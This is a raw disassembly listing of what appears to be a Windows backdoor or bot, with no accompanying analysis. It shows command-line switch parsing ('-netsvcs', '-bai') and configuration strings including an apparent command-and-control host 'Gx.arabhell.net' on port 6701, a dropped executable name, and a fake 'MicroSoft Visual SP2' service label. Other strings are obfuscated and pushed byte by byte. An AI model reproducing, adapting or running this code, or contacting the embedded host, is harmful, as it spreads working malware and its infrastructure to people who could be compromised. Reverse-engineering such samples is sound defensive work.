mov cl, dl cmp dl, [esi] jnz short loc_406DEE test cl, cl jz short loc_406DEA mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406DEE add eax, 2 add esi, 2 test cl, cl jnz short loc_406DCA loc_406DEA: ; CODE XREF: ___:00406DD4j xor eax, eax jmp short loc_406DF3 ; --------------------------------------------------------------------------- loc_406DEE: ; CODE XREF: ___:00406DD0j ; ___:00406DDEj sbb eax, eax sbb eax, 0FFFFFFFFh loc_406DF3: ; CODE XREF: ___:00406DECj test eax, eax jnz short loc_406E00 mov byte ptr [ebx+9], 1 jmp loc_406F58 ; --------------------------------------------------------------------------- loc_406E00: ; CODE XREF: ___:00406DF5j mov esi, offset aNetsvcs ; "-netsvcs" mov eax, edi loc_406E07: ; CODE XREF: ___:00406E25j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406E2B test cl, cl jz short loc_406E27 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406E2B add eax, 2 add esi, 2 test cl, cl jnz short loc_406E07 loc_406E27: ; CODE XREF: ___:00406E11j xor eax, eax jmp short loc_406E30 ; --------------------------------------------------------------------------- loc_406E2B: ; CODE XREF: ___:00406E0Dj ; ___:00406E1Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_406E30: ; CODE XREF: ___:00406E29j test eax, eax jnz short loc_406E3D mov byte ptr [ebx+0Ah], 1 jmp loc_406F58 ; --------------------------------------------------------------------------- loc_406E3D: ; CODE XREF: ___:00406E32j mov esi, offset aBai ; "-bai" mov eax, edi loc_406E44: ; CODE XREF: ___:00406E62j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406E68 test cl, cl jz short loc_406E64 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406E68 add eax, 2 add esi, 2 test cl, cl jnz short loc_406E44 loc_406E64: ; CODE XREF: ___:00406E4Ej xor eax, eax jmp short loc_406E6D ; --------------------------------------------------------------------------- loc_406E68: ; CODE XREF: ___:00406E4Aj ; ___:00406E58j sbb eax, eax sbb eax, 0FFFFFFFFh loc_406E6D: ; CODE XREF: ___:00406E66j test eax, eax jnz loc_406F58 lea ecx, [esp+10h] call sub_40142E mov eax, [esp+468h] push offset aBai ; "-bai" push eax mov dword ptr [esp+468h], 0 nop call near ptr 77C47C60h add esp, 8 test eax, eax jz loc_406F44 push eax lea ecx, [esp+14h] call sub_4015E1 push 1 push offset asc_444600 ; " " lea ecx, [esp+30h] push 1 push ecx lea ecx, [esp+20h] call sub_4011EA push offset byte_448F30 mov ecx, eax mov byte ptr [esp+464h], 1 call sub_4012EE lea ecx, [esp+28h] mov esi, eax mov byte ptr [esp+460h], 0 call sub_401226 test esi, esi jz short loc_406F44 push 1 push offset asc_444600 ; " " lea edx, [esp+48h] push 1 push edx lea ecx, [esp+20h] mov byte ptr [ebx+0Bh], 1 call sub_4011EA push 104h mov ecx, eax mov byte ptr [esp+464h], 2 call sub_40168B push eax lea eax, [ebx+0Ch] push eax call near ptr 77C47A90h nop add esp, 0Ch lea ecx, [esp+40h] mov byte ptr [esp+460h], 0 call sub_401226 add ebp, 4 loc_406F44: ; CODE XREF: ___:00406EA1j ; ___:00406EF1j lea ecx, [esp+10h] mov dword ptr [esp+460h], 0FFFFFFFFh call sub_401226 loc_406F58: ; CODE XREF: ___:00406DBDj ; ___:00406DFBj ... mov eax, [ebp+4] add ebp, 4 test eax, eax jnz loc_406D88 xor ecx, ecx loc_406F68: ; CODE XREF: ___:00406D7Ej mov al, [ebx+4] pop edi pop esi pop ebp test al, al jnz short loc_406F75 mov [ebx+5], ecx loc_406F75: ; CODE XREF: ___:00406F70j cmp [ebx+5], ecx jnz short loc_406F85 test al, al jz short loc_406F85 mov dword ptr [ebx+5], 0Ah loc_406F85: ; CODE XREF: ___:00406F78j ; ___:00406F7Cj mov [ebx+5], ecx mov ecx, [esp+44Ch] mov byte ptr [ebx+4], 0 pop ebx mov large fs:0, ecx add esp, 454h retn 4 ; --------------------------------------------------------------------------- db 0Ch dup(90h) byte_406FB0 db 0D0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407080 proc near ; CODE XREF: sub_4020BDj var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_407080 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea eax, [esp+18h+var_11] lea ecx, [esi+32h] push eax mov [esp+1Ch+var_4], 0 call sub_40156E sub_407080 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov dword ptr [esi], offset off_43F00C mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407100 proc near ; CODE XREF: sub_40159Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] call sub_4015E1 mov edx, [esp+4+arg_0] mov ecx, [esp+4+arg_8] lea eax, [esp+4+arg_0] mov [edx+2Ah], ecx push eax lea ecx, [esi+32h] call sub_4014EC sub_407100 endp ; --------------------------------------------------------------------------- pop esi retn 0Ch ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407140 proc near ; CODE XREF: sub_401B04j var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 push esi mov esi, ecx push edi lea ecx, [esp+10h+var_8] call sub_401AD7 add esi, 32h lea eax, [esp+10h+var_4] push eax mov ecx, esi call sub_40162C mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_4021DF push eax lea ecx, [esp+14h+var_8] call sub_40184D test al, al jz short loc_4071BB mov edi, [esp+10h+arg_0] loc_407183: ; CODE XREF: sub_407140+79j push edi lea ecx, [esp+14h+var_8] call sub_401749 mov ecx, [eax] call sub_4012EE test eax, eax lea ecx, [esp+10h+var_8] jz short loc_4071C5 call sub_401F28 lea eax, [esp+10h+var_4] mov ecx, esi push eax call sub_4021DF push eax lea ecx, [esp+14h+var_8] call sub_40184D test al, al jnz short loc_407183 loc_4071BB: ; CODE XREF: sub_407140+3Dj pop edi xor eax, eax pop esi add esp, 8 retn 8 ; --------------------------------------------------------------------------- loc_4071C5: ; CODE XREF: sub_407140+5Aj call sub_401749 mov eax, [eax] pop edi pop esi add esp, 8 retn 8 sub_407140 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407210 proc near ; CODE XREF: sub_40221Bj xor al, al retn 4 sub_407210 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407230 proc near ; CODE XREF: sub_40156Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_40119F sub_407230 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407270 proc near ; CODE XREF: sub_40162Cj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_401A96 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_4021A8 mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_407270 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4072B0 proc near ; CODE XREF: sub_4021DFj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_4021A8 mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_4072B0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4072E0 proc near ; CODE XREF: sub_4014ECj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_4021DF mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4013B6 sub_4072E0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407320 proc near ; CODE XREF: sub_401AD7j push esi mov esi, ecx call sub_401B77 mov eax, esi pop esi retn sub_407320 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407340 proc near ; CODE XREF: sub_401749j mov eax, [ecx] push eax call sub_401208 add esp, 4 retn sub_407340 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407360 proc near ; CODE XREF: sub_401F28j push esi mov esi, ecx mov eax, [esi] push eax call sub_401A96 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_407360 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407390 proc near ; CODE XREF: sub_40184Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401FBE neg al sbb eax, eax inc eax retn 4 sub_407390 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4073C0 proc near ; CODE XREF: sub_4013B6j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401C9E mov edi, eax push edi call sub_401C6C mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_40119F sub_4073C0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401C6C push edi mov [eax], ebx call sub_401C6C mov edi, [eax] push edi call sub_401C6C mov ecx, [eax] push ecx call sub_401A96 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401208 add esp, 4 mov ecx, esi push eax call sub_40167C mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_4021A8 mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407460 proc near ; CODE XREF: sub_40119Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4019D8 sub_407460 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_407475 mov edi, esi loc_407475: ; CODE XREF: ___:00407471j push esi call sub_401A96 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_40748A mov edi, esi loc_40748A: ; CODE XREF: ___:00407486j push esi call sub_401C6C add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074B0 proc near ; CODE XREF: sub_401A96j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_4074B0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074D0 proc near ; CODE XREF: sub_401208j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_4074D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074F0 proc near ; CODE XREF: sub_401B77j mov eax, ecx retn sub_4074F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407510 proc near ; CODE XREF: sub_4021A8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4011E5 mov eax, esi pop esi retn 4 sub_407510 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407540 proc near ; CODE XREF: sub_401FBEj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_407540 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407570 proc near ; CODE XREF: sub_401C6Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_407570 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407590 proc near ; CODE XREF: sub_4019D8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_407590 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4075C0 proc near ; CODE XREF: sub_40167Cj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40109B add esp, 8 retn 8 sub_4075C0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4075F0 proc near ; CODE XREF: sub_4011E5j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4075F0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407610 proc near ; CODE XREF: sub_401C9Ej mov eax, [ecx] retn sub_407610 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407630 proc near ; CODE XREF: sub_401D2Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_40763A xor eax, eax loc_40763A: ; CODE XREF: sub_407630+6j push eax call sub_437AEA sub_407630 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407660 proc near ; CODE XREF: sub_40109Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40767B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40767B: ; CODE XREF: sub_407660+11j retn sub_407660 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407690 proc near ; CODE XREF: sub_4011CCj arg_4 = dword ptr 8 mov eax, [esp+arg_4] retn sub_407690 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4076B0 proc near ; CODE XREF: sub_401B40j var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4076B0 push eax mov large fs:0, esp push 0 push 0 push 0 push 0 lea ecx, [esp+1Ch+arg_4] mov [esp+1Ch+var_4], 0 call sub_4017EE push eax mov eax, [esp+20h+arg_0] push 0 push eax mov ecx, offset word_44ACD6 call sub_401B72 sub_4076B0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov dword ptr [esp+8], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0] mov large fs:0, ecx add esp, 0Ch retn 1Ch ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407740 proc near ; CODE XREF: sub_401CD5j var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_1C = byte ptr 20h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_407740 push eax mov large fs:0, esp push 0 push 0 push 0 push 0 lea ecx, [esp+1Ch+arg_1C] mov [esp+1Ch+var_4], 1 call sub_4017EE push eax lea ecx, [esp+20h+arg_4] call sub_4017EE push eax mov eax, [esp+24h+arg_0] push eax mov ecx, offset word_44ACD6 call sub_401B72 sub_407740 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov byte ptr [esp+8], 0 call sub_401226 lea ecx, [esp+2Ch] mov dword ptr [esp+8], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0] mov large fs:0, ecx add esp, 0Ch retn 34h ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4077E0 proc near ; CODE XREF: sub_40121Cj var_350 = dword ptr -350h var_34C = dword ptr -34Ch var_348 = byte ptr -348h var_330 = byte ptr -330h var_318 = byte ptr -318h var_2F4 = byte ptr -2F4h var_2DC = byte ptr -2DCh var_2C4 = byte ptr -2C4h var_2AC = byte ptr -2ACh var_294 = byte ptr -294h var_27C = byte ptr -27Ch var_264 = byte ptr -264h var_24C = byte ptr -24Ch var_234 = byte ptr -234h var_21C = byte ptr -21Ch var_204 = byte ptr -204h var_1EC = byte ptr -1ECh var_1D4 = byte ptr -1D4h var_1BC = byte ptr -1BCh var_1A4 = byte ptr -1A4h var_18C = byte ptr -18Ch var_174 = byte ptr -174h var_15C = byte ptr -15Ch var_144 = byte ptr -144h var_114 = byte ptr -114h var_E4 = byte ptr -0E4h var_CC = byte ptr -0CCh var_B4 = byte ptr -0B4h var_9C = byte ptr -9Ch var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4077E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 344h push ebx push esi mov esi, ecx push edi lea ecx, [esp+35Ch+var_2C4] call sub_40142E lea ecx, [esp+35Ch+var_2DC] mov [esp+35Ch+var_4], 0 call sub_40142E lea ecx, [esp+35Ch+var_174] mov byte ptr [esp+35Ch+var_4], 1 call sub_40142E lea ecx, [esp+35Ch+var_1A4] mov byte ptr [esp+35Ch+var_4], 2 call sub_40142E lea ecx, [esp+35Ch+var_2AC] mov byte ptr [esp+35Ch+var_4], 3 call sub_40142E lea ecx, [esp+35Ch+var_2F4] mov byte ptr [esp+35Ch+var_4], 4 call sub_40142E lea ecx, [esp+35Ch+var_1D4] mov byte ptr [esp+35Ch+var_4], 5 call sub_40142E lea ecx, [esp+35Ch+var_204] mov byte ptr [esp+35Ch+var_4], 6 call sub_40142E lea ecx, [esp+35Ch+var_294] mov byte ptr [esp+35Ch+var_4], 7 call sub_40142E lea ecx, [esp+35Ch+var_24] mov byte ptr [esp+35Ch+var_4], 8 call sub_40142E lea ecx, [esp+35Ch+var_54] mov byte ptr [esp+35Ch+var_4], 9 call sub_40142E lea ecx, [esp+35Ch+var_84] mov byte ptr [esp+35Ch+var_4], 0Ah call sub_40142E lea ecx, [esp+35Ch+var_3C] mov byte ptr [esp+35Ch+var_4], 0Bh call sub_40142E lea ecx, [esp+35Ch+var_6C] mov byte ptr [esp+35Ch+var_4], 0Ch call sub_40142E lea ecx, [esp+35Ch+var_234] mov byte ptr [esp+35Ch+var_4], 0Dh call sub_40142E lea ecx, [esp+35Ch+var_264] mov byte ptr [esp+35Ch+var_4], 0Eh call sub_40142E lea ecx, [esp+35Ch+var_E4] mov byte ptr [esp+35Ch+var_4], 0Fh call sub_40142E lea ecx, [esp+35Ch+var_15C] mov byte ptr [esp+35Ch+var_4], 10h call sub_40142E lea ecx, [esp+35Ch+var_114] mov byte ptr [esp+35Ch+var_4], 11h call sub_40142E mov byte ptr [esp+35Ch+var_4], 12h lea ecx, [esp+35Ch+var_18C] call sub_40142E lea ecx, [esp+35Ch+var_144] mov byte ptr [esp+35Ch+var_4], 13h call sub_40142E lea ecx, [esp+35Ch+var_1BC] mov byte ptr [esp+35Ch+var_4], 14h call sub_40142E lea ecx, [esp+35Ch+var_27C] mov byte ptr [esp+35Ch+var_4], 15h call sub_40142E lea ecx, [esp+35Ch+var_1EC] mov byte ptr [esp+35Ch+var_4], 16h call sub_40142E lea ecx, [esp+35Ch+var_CC] mov byte ptr [esp+35Ch+var_4], 17h call sub_40142E lea ecx, [esp+35Ch+var_21C] mov byte ptr [esp+35Ch+var_4], 18h call sub_40142E lea ecx, [esp+35Ch+var_B4] mov byte ptr [esp+35Ch+var_4], 19h call sub_40142E lea ecx, [esp+35Ch+var_9C] mov byte ptr [esp+35Ch+var_4], 1Ah call sub_40142E lea ecx, [esp+35Ch+var_24C] mov byte ptr [esp+35Ch+var_4], 1Bh call sub_40142E lea ecx, [esp+35Ch+var_330] mov byte ptr [esp+35Ch+var_4], 1Ch call sub_40142E lea ecx, [esp+35Ch+var_318] mov byte ptr [esp+35Ch+var_4], 1Dh call sub_40142E mov ebx, 1Eh push offset aGx_arabhell_ne ; "Gx.arabhell.net" lea ecx, [esp+360h+var_2C4] mov byte ptr [esp+360h+var_4], bl call sub_401A9B push offset a6701 ; "6701" lea ecx, [esp+360h+var_2DC] call sub_401A9B push offset byte_448F30 lea ecx, [esp+360h+var_144] call sub_401A9B lea eax, [esp+35Ch+var_2C4] lea ecx, [esp+35Ch+var_174] push eax call sub_40202C lea ecx, [esp+35Ch+var_2DC] push ecx lea ecx, [esp+360h+var_1A4] call sub_40202C push offset byte_448F30 lea ecx, [esp+360h+var_1BC] call sub_401A9B push offset aM_0 ; "##m##" lea ecx, [esp+360h+var_2AC] call sub_401A9B push offset aM ; "##m" lea ecx, [esp+360h+var_24C] call sub_401A9B push offset aXkey ; "Xkey" lea ecx, [esp+360h+var_2F4] call sub_401A9B push offset aIgfsfdfsd32_ex ; "igfsfdfsd32.exe" lea ecx, [esp+360h+var_1D4] call sub_401A9B push offset aAyssds4ddklfsd ; "ayssds4ddklfsdf" lea ecx, [esp+360h+var_204] call sub_401A9B push offset asc_444834 ; "X-" lea ecx, [esp+360h+var_294] call sub_401A9B push offset aSet ; "set" lea ecx, [esp+360h+var_234] call sub_401A9B push 0 push 4Ah push 20h push 48h push 1Ch push 4Bh push 46h push 4Ah push 46h push 47h push 4Ch push 1Fh push 48h push 1Fh push ebx push 1Bh push 1Dh push 47h push 4Bh push 47h push ebx push 45h push 46h push 4Ah push 48h push ebx push 1Dh push 1Ch push 4Ah push 20h push 4Ch push 4Dh lea edx, [esp+3DCh+var_348] push 44h push edx call sub_4019C4 add esp, 88h push eax lea ecx, [esp+360h+var_264] mov byte ptr [esp+360h+var_4], 1Fh call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push offset aFeeling_nasty ; "feeling.nasty" lea ecx, [esp+360h+var_E4] call sub_401A9B push offset aEvil ; "evil" lea ecx, [esp+360h+var_15C] call sub_401A9B push offset aMicrosoftVisua ; "MicroSoft Visual SP2" lea ecx, [esp+360h+var_114] call sub_401A9B push offset dword_4447F8 lea ecx, [esp+360h+var_27C] call sub_401A9B push 0 push 4Bh push 48h push 4Ah push 47h push 4Ch push 48h push 4Bh push 48h push 45h lea eax, [esp+384h+var_348] push 46h push eax call sub_4019C4 add esp, 30h push eax lea ecx, [esp+360h+var_18C] mov byte ptr [esp+360h+var_4], 20h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 0Dh push 0Fh push 3 push 4Fh push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 0Dh push 4Fh push 46h push 47h push 0Dh push 5 push 14h push 13h push 19h lea ecx, [esp+3B4h+var_348] push 13h push ecx call sub_4019C4 add esp, 60h push eax lea ecx, [esp+360h+var_1EC] mov byte ptr [esp+360h+var_4], 21h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea edx, [esp+36Ch+var_348] push 45h push edx call sub_4019C4 add esp, 18h push eax lea ecx, [esp+360h+var_CC] mov byte ptr [esp+360h+var_4], 22h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea eax, [esp+36Ch+var_348] push 45h push eax call sub_4019C4 add esp, 18h push eax lea ecx, [esp+360h+var_B4] mov byte ptr [esp+360h+var_4], 23h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 44h push 49h push 46h lea ecx, [esp+36Ch+var_348] push ecx call sub_4019C4 add esp, 14h push eax lea ecx, [esp+360h+var_21C] mov byte ptr [esp+360h+var_4], 24h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea edx, [esp+36Ch+var_348] push 45h push edx call sub_4019C4 add esp, 18h push eax lea ecx, [esp+360h+var_9C] mov byte ptr [esp+360h+var_4], 25h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 5 push 15h push 12h lea eax, [esp+36Ch+var_348] push 14h push eax call sub_4019C4 add esp, 18h push eax lea ecx, [esp+360h+var_330] mov byte ptr [esp+360h+var_4], 26h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 5 push 13h push 0Ch push 1 lea ecx, [esp+370h+var_348] push 6 push ecx call sub_4019C4 add esp, 1Ch push eax lea ecx, [esp+360h+var_318] mov byte ptr [esp+360h+var_4], 27h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 lea ecx, [esp+35Ch+var_2F4] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+374h+var_34C], esp push eax call sub_401870 push 0 push 13h push 13h push 1 push 10h push 0Eh push 1 push 8 mov byte ptr [esp+394h+var_4], 28h push 3 push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+3D0h+var_348] push 13h push edx call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+374h+var_4], 29h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+38Ch+var_350], esp push eax call sub_401870 lea eax, [esi+0FECh] mov ecx, esi push eax mov byte ptr [esp+390h+var_4], 2Ah call sub_401CD5 sub_4077E0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0B0h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 0Eh push 1 push 8 push 3 push 0Eh push 9 push 1 push 0Dh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx mov byte ptr [esp+3D4h], 2Bh call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 2Ch call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+1035h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 2Dh call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+80h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 14h push 12h push 0Fh push 10h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+78h] push 13h push eax mov byte ptr [esp+3C4h], 2Eh call sub_4019C4 add esp, 54h mov ecx, eax mov byte ptr [esp+370h], 2Fh call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea ecx, [esi+0FA3h] mov byte ptr [esp+388h], 30h push ecx mov ecx, esi call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+98h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 12h push 5 push 16h push 12h push 5 push 13h push 4Eh push 14h mov byte ptr [esp+394h], 31h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+80h] push 13h push edx call sub_4019C4 add esp, 5Ch mov ecx, eax mov byte ptr [esp+370h], 32h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], 